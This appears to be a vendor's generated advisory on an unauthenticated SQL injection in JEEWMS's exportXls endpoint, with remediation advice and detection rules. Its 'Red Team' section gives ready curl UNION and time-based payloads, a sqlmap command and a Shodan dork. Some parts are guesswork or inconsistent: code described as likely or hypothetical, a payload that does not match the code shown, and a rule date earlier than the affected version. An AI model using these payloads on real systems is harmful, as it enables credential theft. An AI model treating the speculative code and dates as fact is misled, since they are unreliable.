CVE-2025-60269
Executive Summary
CVE-2025-60269 is a critical SQL Injection vulnerability discovered in JEEWMS, an open-source warehouse management system based on the JEECG framework. The flaw resides in the exportXls function within the CgExportExcelController.java file, specifically in the path src/main/java/org/jeecgframework/web/cgreport/controller/excel/. An unauthenticated attacker can exploit this vulnerability to inject arbitrary SQL commands, leading to unauthorized data access, modification, or deletion. The vulnerability affects version 20250820, and no official patch has been released at the time of analysis. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the flaw, the vector is assessed as critical with a score of 9.8.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
JEEWMS is a Java-based application distributed via GitHub and Maven. The vulnerability is in the core source code, not in a third-party package. However, organizations using JEEWMS should verify the integrity of their deployment and monitor for any malicious modifications to the CgExportExcelController.java file. No known supply chain attacks have been reported for this CVE.
CVSS Breakdown & Threat Level
Assessed CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The attacker does not need to interact with any user.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Full database contents can be read.
- Integrity (I): High – Data can be modified or deleted.
- Availability (A): High – Database operations can be disrupted.
Threat Level: Critical. The lack of authentication and the ability to execute arbitrary SQL commands make this a high-priority vulnerability for immediate remediation.
Deep Dive & Mechanics
The vulnerability is located in the exportXls function of CgExportExcelController.java. This function is designed to export data from dynamic reports (cgreport) to Excel files. The flaw arises because user-supplied parameters are directly concatenated into SQL queries without proper sanitization or parameterization.
Root Cause: The exportXls method likely constructs SQL queries using string concatenation with input from HTTP request parameters (e.g., id, field, sql). For example:
String sql = "SELECT * FROM cg_report WHERE id = " + request.getParameter("id");
This allows an attacker to inject SQL commands by providing malicious input, such as:
1' UNION SELECT username,password FROM sys_user --
Attack Flow:
- The attacker sends a crafted HTTP GET or POST request to the vulnerable endpoint (e.g.,
/cgreportController.do?exportXls&id=1' OR '1'='1). - The
exportXlsfunction processes the request without sanitizing theidparameter. - The malicious SQL is executed against the database, potentially exposing sensitive data or allowing further exploitation.
Impact: Full database compromise, including extraction of user credentials, business data, and potential lateral movement within the network.
Vulnerable vs. Patched Code
Vulnerable Code (JEEWMS 20250820):
// CgExportExcelController.java (vulnerable)
@RequestMapping(params = "exportXls")
public void exportXls(HttpServletRequest request, HttpServletResponse response) {
String id = request.getParameter("id");
String sql = "SELECT * FROM cg_report WHERE id = " + id; // SQL Injection
// Execute query and export to Excel
}
Patched Code (Hypothetical):
// CgExportExcelController.java (patched)
@RequestMapping(params = "exportXls")
public void exportXls(HttpServletRequest request, HttpServletResponse response) {
String id = request.getParameter("id");
// Use parameterized query
String sql = "SELECT * FROM cg_report WHERE id = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, id);
// Execute query and export to Excel
}
Key Difference: The patched version uses PreparedStatement with parameterized queries, which prevents SQL injection by treating user input as data, not executable code.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- JEEWMS 20250820 running on a local or remote server.
- Access to the
/cgreportController.do?exportXlsendpoint.
Exploitation Steps:
- Identify the vulnerable endpoint by scanning for JEEWMS instances (e.g., using Shodan dork
jeewms). - Send a crafted request to exploit the SQL injection:
curl -X GET "http://target.com/cgreportController.do?exportXls&id=1' UNION SELECT username,password FROM sys_user--" - The response will contain the exported Excel file with the injected data (e.g., usernames and passwords).
- For blind SQL injection, use time-based techniques:
curl -X GET "http://target.com/cgreportController.do?exportXls&id=1' AND SLEEP(5)--"
Automated Exploitation:
- Use sqlmap for automated exploitation:
sqlmap -u "http://target.com/cgreportController.do?exportXls&id=1" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual patterns in the
idparameter (e.g., SQL keywords likeUNION,SELECT,SLEEP). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts.
Honeypot:
- Set up a decoy JEEWMS instance to capture attacker behavior.
Lab Setup:
- Use Docker to deploy a vulnerable environment:
docker pull jeewms/jeewms:20250820 docker run -d -p 8080:8080 jeewms/jeewms:20250820 - Test exploitation locally before applying patches.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/cgreportController.do?exportXlswith suspiciousidparameters containing SQL keywords. - Unusual response sizes or Excel files containing database schema information.
File IOCs:
- Modified
CgExportExcelController.javafile (if attacker has file access). - Unexpected
.xlsfiles in the application directory.
Log IOCs:
- Web server logs showing SQL errors or long execution times (time-based injection).
- Database logs showing unauthorized queries.
Detection Engineering
YARA Rule
rule CVE_2025_60269_JEEWMS_SQLi {
meta:
description = "Detects SQL injection attempts targeting JEEWMS exportXls endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60269"
strings:
$s1 = "/cgreportController.do?exportXls" nocase
$s2 = "id=" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "SLEEP" nocase
$s6 = "OR 1=1" nocase
condition:
$s1 and $s2 and (any of ($s3, $s4, $s5, $s6))
}
Sigma Rule
title: CVE-2025-60269 JEEWMS SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against JEEWMS exportXls endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/cgreportController.do?exportXls"
cs-uri-query|contains: "id="
keywords:
- "UNION"
- "SELECT"
- "SLEEP"
- "OR 1=1"
condition: selection and keywords
falsepositives:
- Legitimate use of SQL keywords in parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-60269 JEEWMS SQL Injection Attempt"; flow:to_server; content:"/cgreportController.do?exportXls"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: If the
exportXlsfunction is not critical, remove or disable theCgExportExcelController.javafile. - Apply input validation: Implement strict whitelisting for the
idparameter (e.g., only allow numeric values). - Use parameterized queries: Modify the code to use
PreparedStatementas shown in the patched code section.
Long-term Fix:
- Upgrade to a patched version of JEEWMS once available.
- Conduct a full security audit of the application for similar vulnerabilities.
Workaround:
- Deploy a WAF with rules to block SQL injection patterns.
- Restrict network access to the JEEWMS application to trusted IPs only.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.